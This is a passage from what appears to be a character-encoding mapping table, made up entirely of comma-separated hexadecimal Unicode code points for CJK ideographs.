0x6A97, 0x6AAB, 0x7337, 0x7352, 0x6B81, 0x6B82, 0x6B87, 0x6B84, 0x6B92,
0x6B93, 0x6B8D, 0x6B9A, 0x6B9B, 0x6BA1, 0x6BAA, 0x8F6B, 0x8F6D, 0x8F71,
0x8F72, 0x8F73, 0x8F75, 0x8F76, 0x8F78, 0x8F77, 0x8F79, 0x8F7A, 0x8F7C,
0x8F7E, 0x8F81, 0x8F82, 0x8F84, 0x8F87, 0x8F8B, 0x95CC, 0x95CD, 0x95CE,
0x95CF, 0x95D0, 0x95D1, 0x95D2, 0x95D3, 0x95D4, 0x95D5, 0x95D6, 0x95D7,
0x95D8, 0x95D9, 0x95DA, 0x95DB, 0x95DC, 0x95DD, 0x95DE, 0x95DF, 0x95E0,
0x95E1, 0x95E2, 0x95E3, 0x95E4, 0x95E5, 0x95E6, 0x95E7, 0x95EC, 0x95FF,
0x9607, 0x9613, 0x9618, 0x961B, 0x961E, 0x9620, 0x9623, 0x9624, 0x9625,
0x9626, 0x9627, 0x9628, 0x9629, 0x962B, 0x962C, 0x962D, 0x962F, 0x9630,
0x9637, 0x9638, 0x9639, 0x963A, 0x963E, 0x9641, 0x9643, 0x964A, 0x964E,
0x964F, 0x9651, 0x9652, 0x9653, 0x9656, 0x9657, 0x9658, 0x9659, 0x965A,
0x965C, 0x965D, 0x965E, 0x9660, 0x9663, 0x9665, 0x9666, 0x966B, 0x966D,
0x966E, 0x966F, 0x9670, 0x9671, 0x9673, 0x9678, 0x9679, 0x967A, 0x967B,
0x967C, 0x967D, 0x967E, 0x967F, 0x9680, 0x9681, 0x9682, 0x9683, 0x9684,
0x9687, 0x9689, 0x968A, 0x8F8D, 0x8F8E, 0x8F8F, 0x8F98, 0x8F9A, 0x8ECE,
0x620B, 0x6217, 0x621B, 0x621F, 0x6222, 0x6221, 0x6225, 0x6224, 0x622C,
0x81E7, 0x74EF, 0x74F4, 0x74FF, 0x750F, 0x7511, 0x7513, 0x6534, 0x65EE,
0x65EF, 0x65F0, 0x660A, 0x6619, 0x6772, 0x6603, 0x6615, 0x6600, 0x7085,
0x66F7, 0x661D, 0x6634, 0x6631, 0x6636, 0x6635, 0x8006, 0x665F, 0x6654,
0x6641, 0x664F, 0x6656, 0x6661, 0x6657, 0x6677, 0x6684, 0x668C, 0x66A7,
0x669D, 0x66BE, 0x66DB, 0x66DC, 0x66E6, 0x66E9, 0x8D32, 0x8D33, 0x8D36,
0x8D3B, 0x8D3D, 0x8D40, 0x8D45, 0x8D46, 0x8D48, 0x8D49, 0x8D47, 0x8D4D,
0x8D55, 0x8D59, 0x89C7, 0x89CA, 0x89CB, 0x89CC, 0x89CE, 0x89CF, 0x89D0,
0x89D1, 0x726E, 0x729F, 0x725D, 0x7266, 0x726F, 0x727E, 0x727F, 0x7284,
0x728B, 0x728D, 0x728F, 0x7292, 0x6308, 0x6332, 0x63B0, 0x968C, 0x968E,
0x9691, 0x9692, 0x9693, 0x9695, 0x9696, 0x969A, 0x969B, 0x969D, 0x969E,
0x969F, 0x96A0, 0x96A1, 0x96A2, 0x96A3, 0x96A4, 0x96A5, 0x96A6, 0x96A8,
0x96A9, 0x96AA, 0x96AB, 0x96AC, 0x96AD, 0x96AE, 0x96AF, 0x96B1, 0x96B2,
0x96B4, 0x96B5, 0x96B7, 0x96B8, 0x96BA, 0x96BB, 0x96BF, 0x96C2, 0x96C3,
0x96C8, 0x96CA, 0x96CB, 0x96D0, 0x96D1, 0x96D3, 0x96D4, 0x96D6, 0x96D7,
0x96D8, 0x96D9, 0x96DA, 0x96DB, 0x96DC, 0x96DD, 0x96DE, 0x96DF, 0x96E1,
0x96E2, 0x96E3, 0x96E4, 0x96E5, 0x96E6, 0x96E7, 0x96EB, 0x96EC, 0x96ED,
0x96EE, 0x96F0, 0x96F1, 0x96F2, 0x96F4, 0x96F5, 0x96F8, 0x96FA, 0x96FB,
0x96FC, 0x96FD, 0x96FF, 0x9702, 0x9703, 0x9705, 0x970A, 0x970B, 0x970C,
0x9710, 0x9711, 0x9712, 0x9714, 0x9715, 0x9717, 0x9718, 0x9719, 0x971A,
0x971B, 0x971D, 0x971F, 0x9720, 0x643F, 0x64D8, 0x8004, 0x6BEA, 0x6BF3,
0x6BFD, 0x6BF5, 0x6BF9, 0x6C05, 0x6C07, 0x6C06, 0x6C0D, 0x6C15, 0x6C18,
0x6C19, 0x6C1A, 0x6C21, 0x6C29, 0x6C24, 0x6C2A, 0x6C32, 0x6535, 0x6555,
0x656B, 0x724D, 0x7252, 0x7256, 0x7230, 0x8662, 0x5216, 0x809F, 0x809C,
0x8093, 0x80BC, 0x670A, 0x80BD, 0x80B1, 0x80AB, 0x80AD, 0x80B4, 0x80B7,
0x80E7, 0x80E8, 0x80E9, 0x80EA, 0x80DB, 0x80C2, 0x80C4, 0x80D9, 0x80CD,
0x80D7, 0x6710, 0x80DD, 0x80EB, 0x80F1, 0x80F4, 0x80ED, 0x810D, 0x810E,
0x80F2, 0x80FC, 0x6715, 0x8112, 0x8C5A, 0x8136, 0x811E, 0x812C, 0x8118,
0x8132, 0x8148, 0x814C, 0x8153, 0x8174, 0x8159, 0x815A, 0x8171, 0x8160,
0x8169, 0x817C, 0x817D, 0x816D, 0x8167, 0x584D, 0x5AB5, 0x8188, 0x8182,
0x8191, 0x6ED5, 0x81A3, 0x81AA, 0x81CC, 0x6726, 0x81CA, 0x81BB, 0x9721,
0x9722, 0x9723, 0x9724, 0x9725, 0x9726, 0x9727, 0x9728, 0x9729, 0x972B,
0x972C, 0x972E, 0x972F, 0x9731, 0x9733, 0x9734, 0x9735, 0x9736, 0x9737,
0x973A, 0x973B, 0x973C, 0x973D, 0x973F, 0x9740, 0x9741, 0x9742, 0x9743,
0x9744, 0x9745, 0x9746, 0x9747, 0x9748, 0x9749, 0x974A, 0x974B, 0x974C,
0x974D, 0x974E, 0x974F, 0x9750, 0x9751, 0x9754, 0x9755, 0x9757, 0x9758,
0x975A, 0x975C, 0x975D, 0x975F, 0x9763, 0x9764, 0x9766, 0x9767, 0x9768,
0x976A, 0x976B, 0x976C, 0x976D, 0x976E, 0x976F, 0x9770, 0x9771, 0x9772,
0x9775, 0x9777, 0x9778, 0x9779, 0x977A, 0x977B, 0x977D, 0x977E, 0x977F,
0x9780, 0x9781, 0x9782, 0x9783, 0x9784, 0x9786, 0x9787, 0x9788, 0x9789,
0x978A, 0x978C, 0x978E, 0x978F, 0x9790, 0x9793, 0x9795, 0x9796, 0x9797,
0x9799, 0x979A, 0x979B, 0x979C, 0x979D, 0x81C1, 0x81A6, 0x6B24, 0x6B37,
0x6B39, 0x6B43, 0x6B46, 0x6B59, 0x98D1, 0x98D2, 0x98D3, 0x98D5, 0x98D9,
0x98DA, 0x6BB3, 0x5F40, 0x6BC2, 0x89F3, 0x6590, 0x9F51, 0x6593, 0x65BC,
0x65C6, 0x65C4, 0x65C3, 0x65CC, 0x65CE, 0x65D2, 0x65D6, 0x7080, 0x709C,
0x7096, 0x709D, 0x70BB, 0x70C0, 0x70B7, 0x70AB, 0x70B1, 0x70E8, 0x70CA,
0x7110, 0x7113, 0x7116, 0x712F, 0x7131, 0x7173, 0x715C, 0x7168, 0x7145,
0x7172, 0x714A, 0x7178, 0x717A, 0x7198, 0x71B3, 0x71B5, 0x71A8, 0x71A0,
0x71E0, 0x71D4, 0x71E7, 0x71F9, 0x721D, 0x7228, 0x706C, 0x7118, 0x7166,
0x71B9, 0x623E, 0x623D, 0x6243, 0x6248, 0x6249, 0x793B, 0x7940, 0x7946,
0x7949, 0x795B, 0x795C, 0x7953, 0x795A, 0x7962, 0x7957, 0x7960, 0x796F,
0x7967, 0x797A, 0x7985, 0x798A, 0x799A, 0x79A7, 0x79B3, 0x5FD1, 0x5FD0,
0x979E, 0x979F, 0x97A1, 0x97A2, 0x97A4, 0x97A5, 0x97A6, 0x97A7, 0x97A8,
0x97A9, 0x97AA, 0x97AC, 0x97AE, 0x97B0, 0x97B1, 0x97B3, 0x97B5, 0x97B6,
0x97B7, 0x97B8, 0x97B9, 0x97BA, 0x97BB, 0x97BC, 0x97BD, 0x97BE, 0x97BF,
0x97C0, 0x97C1, 0x97C2, 0x97C3, 0x97C4, 0x97C5, 0x97C6, 0x97C7, 0x97C8,
0x97C9, 0x97CA, 0x97CB, 0x97CC, 0x97CD, 0x97CE, 0x97CF, 0x97D0, 0x97D1,
0x97D2, 0x97D3, 0x97D4, 0x97D5, 0x97D6, 0x97D7, 0x97D8, 0x97D9, 0x97DA,
0x97DB, 0x97DC, 0x97DD, 0x97DE, 0x97DF, 0x97E0, 0x97E1, 0x97E2, 0x97E3,
0x97E4, 0x97E5, 0x97E8, 0x97EE, 0x97EF, 0x97F0, 0x97F1, 0x97F2, 0x97F4,
0x97F7, 0x97F8, 0x97F9, 0x97FA, 0x97FB, 0x97FC, 0x97FD, 0x97FE, 0x97FF,
0x9800, 0x9801, 0x9802, 0x9803, 0x9804, 0x9805, 0x9806, 0x9807, 0x9808,
0x9809, 0x980A, 0x980B, 0x980C, 0x980D, 0x980E, 0x603C, 0x605D, 0x605A,
0x6067, 0x6041, 0x6059, 0x6063, 0x60AB, 0x6106, 0x610D, 0x615D, 0x61A9,
0x619D, 0x61CB, 0x61D1, 0x6206, 0x8080, 0x807F, 0x6C93, 0x6CF6, 0x6DFC,
0x77F6, 0x77F8, 0x7800, 0x7809, 0x7817, 0x7818, 0x7811, 0x65AB, 0x782D,
0x781C, 0x781D, 0x7839, 0x783A, 0x783B, 0x781F, 0x783C, 0x7825, 0x782C,
0x7823, 0x7829, 0x784E, 0x786D, 0x7856, 0x7857, 0x7826, 0x7850, 0x7847,
0x784C, 0x786A, 0x789B, 0x7893, 0x789A, 0x7887, 0x789C, 0x78A1, 0x78A3,
0x78B2, 0x78B9, 0x78A5, 0x78D4, 0x78D9, 0x78C9, 0x78EC, 0x78F2, 0x7905,
0x78F4, 0x7913, 0x7924, 0x791E, 0x7934, 0x9F9B, 0x9EF9, 0x9EFB, 0x9EFC,
0x76F1, 0x7704, 0x770D, 0x76F9, 0x7707, 0x7708, 0x771A, 0x7722, 0x7719,
0x772D, 0x7726, 0x7735, 0x7738, 0x7750, 0x7751, 0x7747, 0x7743, 0x775A,
0x7768, 0x980F, 0x9810, 0x9811, 0x9812, 0x9813, 0x9814, 0x9815, 0x9816,
0x9817, 0x9818, 0x9819, 0x981A, 0x981B, 0x981C, 0x981D, 0x981E, 0x981F,
0x9820, 0x9821, 0x9822, 0x9823, 0x9824, 0x9825, 0x9826, 0x9827, 0x9828,
0x9829, 0x982A, 0x982B, 0x982C, 0x982D, 0x982E, 0x982F, 0x9830, 0x9831,
0x9832, 0x9833, 0x9834, 0x9835, 0x9836, 0x9837, 0x9838, 0x9839, 0x983A,
0x983B, 0x983C, 0x983D, 0x983E, 0x983F, 0x9840, 0x9841, 0x9842, 0x9843,
0x9844, 0x9845, 0x9846, 0x9847, 0x9848, 0x9849, 0x984A, 0x984B, 0x984C,
0x984D, 0x984E, 0x984F, 0x9850, 0x9851, 0x9852, 0x9853, 0x9854, 0x9855,
0x9856, 0x9857, 0x9858, 0x9859, 0x985A, 0x985B, 0x985C, 0x985D, 0x985E,
0x985F, 0x9860, 0x9861, 0x9862, 0x9863, 0x9864, 0x9865, 0x9866, 0x9867,
0x9868, 0x9869, 0x986A, 0x986B, 0x986C, 0x986D, 0x986E, 0x7762, 0x7765,
0x777F, 0x778D, 0x777D, 0x7780, 0x778C, 0x7791, 0x779F, 0x77A0, 0x77B0,
0x77B5, 0x77BD, 0x753A, 0x7540, 0x754E, 0x754B, 0x7548, 0x755B, 0x7572,
0x7579, 0x7583, 0x7F58, 0x7F61, 0x7F5F, 0x8A48, 0x7F68, 0x7F74, 0x7F71,
0x7F79, 0x7F81, 0x7F7E, 0x76CD, 0x76E5, 0x8832, 0x9485, 0x9486, 0x9487,
0x948B, 0x948A, 0x948C, 0x948D, 0x948F, 0x9490, 0x9494, 0x9497, 0x9495,
0x949A, 0x949B, 0x949C, 0x94A3, 0x94A4, 0x94AB, 0x94AA, 0x94AD, 0x94AC,
0x94AF, 0x94B0, 0x94B2, 0x94B4, 0x94B6, 0x94B7, 0x94B8, 0x94B9, 0x94BA,
0x94BC, 0x94BD, 0x94BF, 0x94C4, 0x94C8, 0x94C9, 0x94CA, 0x94CB, 0x94CC,
0x94CD, 0x94CE, 0x94D0, 0x94D1, 0x94D2, 0x94D5, 0x94D6, 0x94D7, 0x94D9,
0x94D8, 0x94DB, 0x94DE, 0x94DF, 0x94E0, 0x94E2, 0x94E4, 0x94E5, 0x94E7,
0x94E8, 0x94EA, 0x986F, 0x9870, 0x9871, 0x9872, 0x9873, 0x9874, 0x988B,
0x988E, 0x9892, 0x9895, 0x9899, 0x98A3, 0x98A8, 0x98A9, 0x98AA, 0x98AB,
0x98AC, 0x98AD, 0x98AE, 0x98AF, 0x98B0, 0x98B1, 0x98B2, 0x98B3, 0x98B4,
0x98B5, 0x98B6, 0x98B7, 0x98B8, 0x98B9, 0x98BA, 0x98BB, 0x98BC, 0x98BD,
0x98BE, 0x98BF, 0x98C0, 0x98C1, 0x98C2, 0x98C3, 0x98C4, 0x98C5, 0x98C6,
0x98C7, 0x98C8, 0x98C9, 0x98CA, 0x98CB, 0x98CC, 0x98CD, 0x98CF, 0x98D0,
0x98D4, 0x98D6, 0x98D7, 0x98DB, 0x98DC, 0x98DD, 0x98E0, 0x98E1, 0x98E2,
0x98E3, 0x98E4, 0x98E5, 0x98E6, 0x98E9, 0x98EA, 0x98EB, 0x98EC, 0x98ED,
0x98EE, 0x98EF, 0x98F0, 0x98F1, 0x98F2, 0x98F3, 0x98F4, 0x98F5, 0x98F6,
0x98F7, 0x98F8, 0x98F9, 0x98FA, 0x98FB, 0x98FC, 0x98FD, 0x98FE, 0x98FF,
0x9900, 0x9901, 0x9902, 0x9903, 0x9904, 0x9905, 0x9906, 0x9907, 0x94E9,
0x94EB, 0x94EE, 0x94EF, 0x94F3, 0x94F4, 0x94F5, 0x94F7, 0x94F9, 0x94FC,
0x94FD, 0x94FF, 0x9503, 0x9502, 0x9506, 0x9507, 0x9509, 0x950A, 0x950D,
0x950E, 0x950F, 0x9512, 0x9513, 0x9514, 0x9515, 0x9516, 0x9518, 0x951B,
0x951D, 0x951E, 0x951F, 0x9522, 0x952A, 0x952B, 0x9529, 0x952C, 0x9531,
0x9532, 0x9534, 0x9536, 0x9537, 0x9538, 0x953C, 0x953E, 0x953F, 0x9542,
0x9535, 0x9544, 0x9545, 0x9546, 0x9549, 0x954C, 0x954E, 0x954F, 0x9552,
0x9553, 0x9554, 0x9556, 0x9557, 0x9558, 0x9559, 0x955B, 0x955E, 0x955F,
0x955D, 0x9561, 0x9562, 0x9564, 0x9565, 0x9566, 0x9567, 0x9568, 0x9569,
0x956A, 0x956B, 0x956C, 0x956F, 0x9571, 0x9572, 0x9573, 0x953A, 0x77E7,
0x77EC, 0x96C9, 0x79D5, 0x79ED, 0x79E3, 0x79EB, 0x7A06, 0x5D47, 0x7A03,
0x7A02, 0x7A1E, 0x7A14, 0x9908, 0x9909, 0x990A, 0x990B, 0x990C, 0x990E,
0x990F, 0x9911, 0x9912, 0x9913, 0x9914, 0x9915, 0x9916, 0x9917, 0x9918,
0x9919, 0x991A, 0x991B, 0x991C, 0x991D, 0x991E, 0x991F, 0x9920, 0x9921,
0x9922, 0x9923, 0x9924, 0x9925, 0x9926, 0x9927, 0x9928, 0x9929, 0x992A,
0x992B, 0x992C, 0x992D, 0x992F, 0x9930, 0x9931, 0x9932, 0x9933, 0x9934,
0x9935, 0x9936, 0x9937, 0x9938, 0x9939, 0x993A, 0x993B, 0x993C, 0x993D,
0x993E, 0x993F, 0x9940, 0x9941, 0x9942, 0x9943, 0x9944, 0x9945, 0x9946,
0x9947, 0x9948, 0x9949, 0x994A, 0x994B, 0x994C, 0x994D, 0x994E, 0x994F,
0x9950, 0x9951, 0x9952, 0x9953, 0x9956, 0x9957, 0x9958, 0x9959, 0x995A,
0x995B, 0x995C, 0x995D, 0x995E, 0x995F, 0x9960, 0x9961, 0x9962, 0x9964,
0x9966, 0x9973, 0x9978, 0x9979, 0x997B, 0x997E, 0x9982, 0x9983, 0x9989,
0x7A39, 0x7A37, 0x7A51, 0x9ECF, 0x99A5, 0x7A70, 0x7688, 0x768E, 0x7693,
0x7699, 0x76A4, 0x74DE, 0x74E0, 0x752C, 0x9E20, 0x9E22, 0x9E28, 0x9E29,
0x9E2A, 0x9E2B, 0x9E2C, 0x9E32, 0x9E31, 0x9E36, 0x9E38, 0x9E37, 0x9E39,
0x9E3A, 0x9E3E, 0x9E41, 0x9E42, 0x9E44, 0x9E46, 0x9E47, 0x9E48, 0x9E49,
0x9E4B, 0x9E4C, 0x9E4E, 0x9E51, 0x9E55, 0x9E57, 0x9E5A, 0x9E5B, 0x9E5C,
0x9E5E, 0x9E63, 0x9E66, 0x9E67, 0x9E68, 0x9E69, 0x9E6A, 0x9E6B, 0x9E6C,
0x9E71, 0x9E6D, 0x9E73, 0x7592, 0x7594, 0x7596, 0x75A0, 0x759D, 0x75AC,
0x75A3, 0x75B3, 0x75B4, 0x75B8, 0x75C4, 0x75B1, 0x75B0, 0x75C3, 0x75C2,
0x75D6, 0x75CD, 0x75E3, 0x75E8, 0x75E6, 0x75E4, 0x75EB, 0x75E7, 0x7603,
0x75F1, 0x75FC, 0x75FF, 0x7610, 0x7600, 0x7605, 0x760C, 0x7617, 0x760A,
0x7625, 0x7618, 0x7615, 0x7619, 0x998C, 0x998E, 0x999A, 0x999B, 0x999C,
0x999D, 0x999E, 0x999F, 0x99A0, 0x99A1, 0x99A2, 0x99A3, 0x99A4, 0x99A6,
0x99A7, 0x99A9, 0x99AA, 0x99AB, 0x99AC, 0x99AD, 0x99AE, 0x99AF, 0x99B0,
0x99B1, 0x99B2, 0x99B3, 0x99B4, 0x99B5, 0x99B6, 0x99B7, 0x99B8, 0x99B9,
0x99BA, 0x99BB, 0x99BC, 0x99BD, 0x99BE, 0x99BF, 0x99C0, 0x99C1, 0x99C2,
0x99C3, 0x99C4, 0x99C5, 0x99C6, 0x99C7, 0x99C8, 0x99C9, 0x99CA, 0x99CB,
0x99CC, 0x99CD, 0x99CE, 0x99CF, 0x99D0, 0x99D1, 0x99D2, 0x99D3, 0x99D4,
0x99D5, 0x99D6, 0x99D7, 0x99D8, 0x99D9, 0x99DA, 0x99DB, 0x99DC, 0x99DD,
0x99DE, 0x99DF, 0x99E0, 0x99E1, 0x99E2, 0x99E3, 0x99E4, 0x99E5, 0x99E6,
0x99E7, 0x99E8, 0x99E9, 0x99EA, 0x99EB, 0x99EC, 0x99ED, 0x99EE, 0x99EF,
0x99F0, 0x99F1, 0x99F2, 0x99F3, 0x99F4, 0x99F5, 0x99F6, 0x99F7, 0x99F8,
0x99F9, 0x761B, 0x763C, 0x7622, 0x7620, 0x7640, 0x762D, 0x7630, 0x763F,
0x7635, 0x7643, 0x763E, 0x7633, 0x764D, 0x765E, 0x7654, 0x765C, 0x7656,
0x766B, 0x766F, 0x7FCA, 0x7AE6, 0x7A78, 0x7A79, 0x7A80, 0x7A86, 0x7A88,
0x7A95, 0x7AA6, 0x7AA0, 0x7AAC, 0x7AA8, 0x7AAD, 0x7AB3, 0x8864, 0x8869,
0x8872, 0x887D, 0x887F, 0x8882, 0x88A2, 0x88C6, 0x88B7, 0x88BC, 0x88C9,
0x88E2, 0x88CE, 0x88E3, 0x88E5, 0x88F1, 0x891A, 0x88FC, 0x88E8, 0x88FE,
0x88F0, 0x8921, 0x8919, 0x8913, 0x891B, 0x890A, 0x8934, 0x892B, 0x8936,
0x8941, 0x8966, 0x897B, 0x758B, 0x80E5, 0x76B2, 0x76B4, 0x77DC, 0x8012,
0x8014, 0x8016, 0x801C, 0x8020, 0x8022, 0x8025, 0x8026, 0x8027, 0x8029,
0x8028, 0x8031, 0x800B, 0x8035, 0x8043, 0x8046, 0x804D, 0x8052, 0x8069,
0x8071, 0x8983, 0x9878, 0x9880, 0x9883, 0x99FA, 0x99FB, 0x99FC, 0x99FD,
0x99FE, 0x99FF, 0x9A00, 0x9A01, 0x9A02, 0x9A03, 0x9A04, 0x9A05, 0x9A06,
0x9A07, 0x9A08, 0x9A09, 0x9A0A, 0x9A0B, 0x9A0C, 0x9A0D, 0x9A0E, 0x9A0F,
0x9A10, 0x9A11, 0x9A12, 0x9A13, 0x9A14, 0x9A15, 0x9A16, 0x9A17, 0x9A18,
0x9A19, 0x9A1A, 0x9A1B, 0x9A1C, 0x9A1D, 0x9A1E, 0x9A1F, 0x9A20, 0x9A21,
0x9A22, 0x9A23, 0x9A24, 0x9A25, 0x9A26, 0x9A27, 0x9A28, 0x9A29, 0x9A2A,
0x9A2B, 0x9A2C, 0x9A2D, 0x9A2E, 0x9A2F, 0x9A30, 0x9A31, 0x9A32, 0x9A33,
0x9A34, 0x9A35, 0x9A36, 0x9A37, 0x9A38, 0x9A39, 0x9A3A, 0x9A3B, 0x9A3C,
0x9A3D, 0x9A3E, 0x9A3F, 0x9A40, 0x9A41, 0x9A42, 0x9A43, 0x9A44, 0x9A45,
0x9A46, 0x9A47, 0x9A48, 0x9A49, 0x9A4A, 0x9A4B, 0x9A4C, 0x9A4D, 0x9A4E,
0x9A4F, 0x9A50, 0x9A51, 0x9A52, 0x9A53, 0x9A54, 0x9A55, 0x9A56, 0x9A57,
0x9A58, 0x9A59, 0x9889, 0x988C, 0x988D, 0x988F, 0x9894, 0x989A, 0x989B,
0x989E, 0x989F, 0x98A1, 0x98A2, 0x98A5, 0x98A6, 0x864D, 0x8654, 0x866C,
0x866E, 0x867F, 0x867A, 0x867C, 0x867B, 0x86A8, 0x868D, 0x868B, 0x86AC,
0x869D, 0x86A7, 0x86A3, 0x86AA, 0x8693, 0x86A9, 0x86B6, 0x86C4, 0x86B5,
0x86CE, 0x86B0, 0x86BA, 0x86B1, 0x86AF, 0x86C9, 0x86CF, 0x86B4, 0x86E9,
0x86F1, 0x86F2, 0x86ED, 0x86F3, 0x86D0, 0x8713, 0x86DE, 0x86F4, 0x86DF,
0x86D8, 0x86D1, 0x8703, 0x8707, 0x86F8, 0x8708, 0x870A, 0x870D, 0x8709,
0x8723, 0x873B, 0x871E, 0x8725, 0x872E, 0x871A, 0x873E, 0x8748, 0x8734,
0x8731, 0x8729, 0x8737, 0x873F, 0x8782, 0x8722, 0x877D, 0x877E, 0x877B,
0x8760, 0x8770, 0x874C, 0x876E, 0x878B, 0x8753, 0x8763, 0x877C, 0x8764,
0x8759, 0x8765, 0x8793, 0x87AF, 0x87A8, 0x87D2, 0x9A5A, 0x9A5B, 0x9A5C,
0x9A5D, 0x9A5E, 0x9A5F, 0x9A60, 0x9A61, 0x9A62, 0x9A63, 0x9A64, 0x9A65,
0x9A66, 0x9A67, 0x9A68, 0x9A69, 0x9A6A, 0x9A6B, 0x9A72, 0x9A83, 0x9A89,
0x9A8D, 0x9A8E, 0x9A94, 0x9A95, 0x9A99, 0x9AA6, 0x9AA9, 0x9AAA, 0x9AAB,
0x9AAC, 0x9AAD, 0x9AAE, 0x9AAF, 0x9AB2, 0x9AB3, 0x9AB4, 0x9AB5, 0x9AB9,
0x9ABB, 0x9ABD, 0x9ABE, 0x9ABF, 0x9AC3, 0x9AC4, 0x9AC6, 0x9AC7, 0x9AC8,
0x9AC9, 0x9ACA, 0x9ACD, 0x9ACE, 0x9ACF, 0x9AD0, 0x9AD2, 0x9AD4, 0x9AD5,
0x9AD6, 0x9AD7, 0x9AD9, 0x9ADA, 0x9ADB, 0x9ADC, 0x9ADD, 0x9ADE, 0x9AE0,
0x9AE2, 0x9AE3, 0x9AE4, 0x9AE5, 0x9AE7, 0x9AE8, 0x9AE9, 0x9AEA, 0x9AEC,
0x9AEE, 0x9AF0, 0x9AF1, 0x9AF2, 0x9AF3, 0x9AF4, 0x9AF5, 0x9AF6, 0x9AF7,
0x9AF8, 0x9AFA, 0x9AFC, 0x9AFD, 0x9AFE, 0x9AFF, 0x9B00, 0x9B01, 0x9B02,
0x9B04, 0x9B05, 0x9B06, 0x87C6, 0x8788, 0x8785, 0x87AD, 0x8797, 0x8783,
0x87AB, 0x87E5, 0x87AC, 0x87B5, 0x87B3, 0x87CB, 0x87D3, 0x87BD, 0x87D1,
0x87C0, 0x87CA, 0x87DB, 0x87EA, 0x87E0, 0x87EE, 0x8816, 0x8813, 0x87FE,
0x880A, 0x881B, 0x8821, 0x8839, 0x883C, 0x7F36, 0x7F42, 0x7F44, 0x7F45,
0x8210, 0x7AFA, 0x7AFD, 0x7B08, 0x7B03, 0x7B04, 0x7B15, 0x7B0A, 0x7B2B,
0x7B0F, 0x7B47, 0x7B38, 0x7B2A, 0x7B19, 0x7B2E, 0x7B31, 0x7B20, 0x7B25,
0x7B24, 0x7B33, 0x7B3E, 0x7B1E, 0x7B58, 0x7B5A, 0x7B45, 0x7B75, 0x7B4C,
0x7B5D, 0x7B60, 0x7B6E, 0x7B7B, 0x7B62, 0x7B72, 0x7B71, 0x7B90, 0x7BA6,
0x7BA7, 0x7BB8, 0x7BAC, 0x7B9D, 0x7BA8, 0x7B85, 0x7BAA, 0x7B9C, 0x7BA2,
0x7BAB, 0x7BB4, 0x7BD1, 0x7BC1, 0x7BCC, 0x7BDD, 0x7BDA, 0x7BE5, 0x7BE6,
0x7BEA, 0x7C0C, 0x7BFE, 0x7BFC, 0x7C0F, 0x7C16, 0x7C0B, 0x9B07, 0x9B09,
0x9B0A, 0x9B0B, 0x9B0C, 0x9B0D, 0x9B0E, 0x9B10, 0x9B11, 0x9B12, 0x9B14,
0x9B15, 0x9B16, 0x9B17, 0x9B18, 0x9B19, 0x9B1A, 0x9B1B, 0x9B1C, 0x9B1D,
0x9B1E, 0x9B20, 0x9B21, 0x9B22, 0x9B24, 0x9B25, 0x9B26, 0x9B27, 0x9B28,
0x9B29, 0x9B2A, 0x9B2B, 0x9B2C, 0x9B2D, 0x9B2E, 0x9B30, 0x9B31, 0x9B33,
0x9B34, 0x9B35, 0x9B36, 0x9B37, 0x9B38, 0x9B39, 0x9B3A, 0x9B3D, 0x9B3E,
0x9B3F, 0x9B40, 0x9B46, 0x9B4A, 0x9B4B, 0x9B4C, 0x9B4E, 0x9B50, 0x9B52,
0x9B53, 0x9B55, 0x9B56, 0x9B57, 0x9B58, 0x9B59, 0x9B5A, 0x9B5B, 0x9B5C,
0x9B5D, 0x9B5E, 0x9B5F, 0x9B60, 0x9B61, 0x9B62, 0x9B63, 0x9B64, 0x9B65,
0x9B66, 0x9B67, 0x9B68, 0x9B69, 0x9B6A, 0x9B6B, 0x9B6C, 0x9B6D, 0x9B6E,
0x9B6F, 0x9B70, 0x9B71, 0x9B72, 0x9B73, 0x9B74, 0x9B75, 0x9B76, 0x9B77,
0x9B78, 0x9B79, 0x9B7A, 0x9B7B, 0x7C1F, 0x7C2A, 0x7C26, 0x7C38, 0x7C41,
0x7C40, 0x81FE, 0x8201, 0x8202, 0x8204, 0x81EC, 0x8844, 0x8221, 0x8222,
0x8223, 0x822D, 0x822F, 0x8228, 0x822B, 0x8238, 0x823B, 0x8233, 0x8234,
0x823E, 0x8244, 0x8249, 0x824B, 0x824F, 0x825A, 0x825F, 0x8268, 0x887E,
0x8885, 0x8888, 0x88D8, 0x88DF, 0x895E, 0x7F9D, 0x7F9F, 0x7FA7, 0x7FAF,
0x7FB0, 0x7FB2, 0x7C7C, 0x6549, 0x7C91, 0x7C9D, 0x7C9C, 0x7C9E, 0x7CA2,
0x7CB2, 0x7CBC, 0x7CBD, 0x7CC1, 0x7CC7, 0x7CCC, 0x7CCD, 0x7CC8, 0x7CC5,
0x7CD7, 0x7CE8, 0x826E, 0x66A8, 0x7FBF, 0x7FCE, 0x7FD5, 0x7FE5, 0x7FE1,
0x7FE6, 0x7FE9, 0x7FEE, 0x7FF3, 0x7CF8, 0x7D77, 0x7DA6, 0x7DAE, 0x7E47,
0x7E9B, 0x9EB8, 0x9EB4, 0x8D73, 0x8D84, 0x8D94, 0x8D91, 0x8DB1, 0x8D67,
0x8D6D, 0x8C47, 0x8C49, 0x914A, 0x9150, 0x914E, 0x914F, 0x9164, 0x9B7C,
0x9B7D, 0x9B7E, 0x9B7F, 0x9B80, 0x9B81, 0x9B82, 0x9B83, 0x9B84, 0x9B85,
0x9B86, 0x9B87, 0x9B88, 0x9B89, 0x9B8A, 0x9B8B, 0x9B8C, 0x9B8D, 0x9B8E,
0x9B8F, 0x9B90, 0x9B91, 0x9B92, 0x9B93, 0x9B94, 0x9B95, 0x9B96, 0x9B97,
0x9B98, 0x9B99, 0x9B9A, 0x9B9B, 0x9B9C, 0x9B9D, 0x9B9E, 0x9B9F, 0x9BA0,
0x9BA1, 0x9BA2, 0x9BA3, 0x9BA4, 0x9BA5, 0x9BA6, 0x9BA7, 0x9BA8, 0x9BA9,
0x9BAA, 0x9BAB, 0x9BAC, 0x9BAD, 0x9BAE, 0x9BAF, 0x9BB0, 0x9BB1, 0x9BB2,
0x9BB3, 0x9BB4, 0x9BB5, 0x9BB6, 0x9BB7, 0x9BB8, 0x9BB9, 0x9BBA, 0x9BBB,
0x9BBC, 0x9BBD, 0x9BBE, 0x9BBF, 0x9BC0, 0x9BC1, 0x9BC2, 0x9BC3, 0x9BC4,
0x9BC5, 0x9BC6, 0x9BC7, 0x9BC8, 0x9BC9, 0x9BCA, 0x9BCB, 0x9BCC, 0x9BCD,
0x9BCE, 0x9BCF, 0x9BD0, 0x9BD1, 0x9BD2, 0x9BD3, 0x9BD4, 0x9BD5, 0x9BD6,
0x9BD7, 0x9BD8, 0x9BD9, 0x9BDA, 0x9BDB, 0x9162, 0x9161, 0x9170, 0x9169,
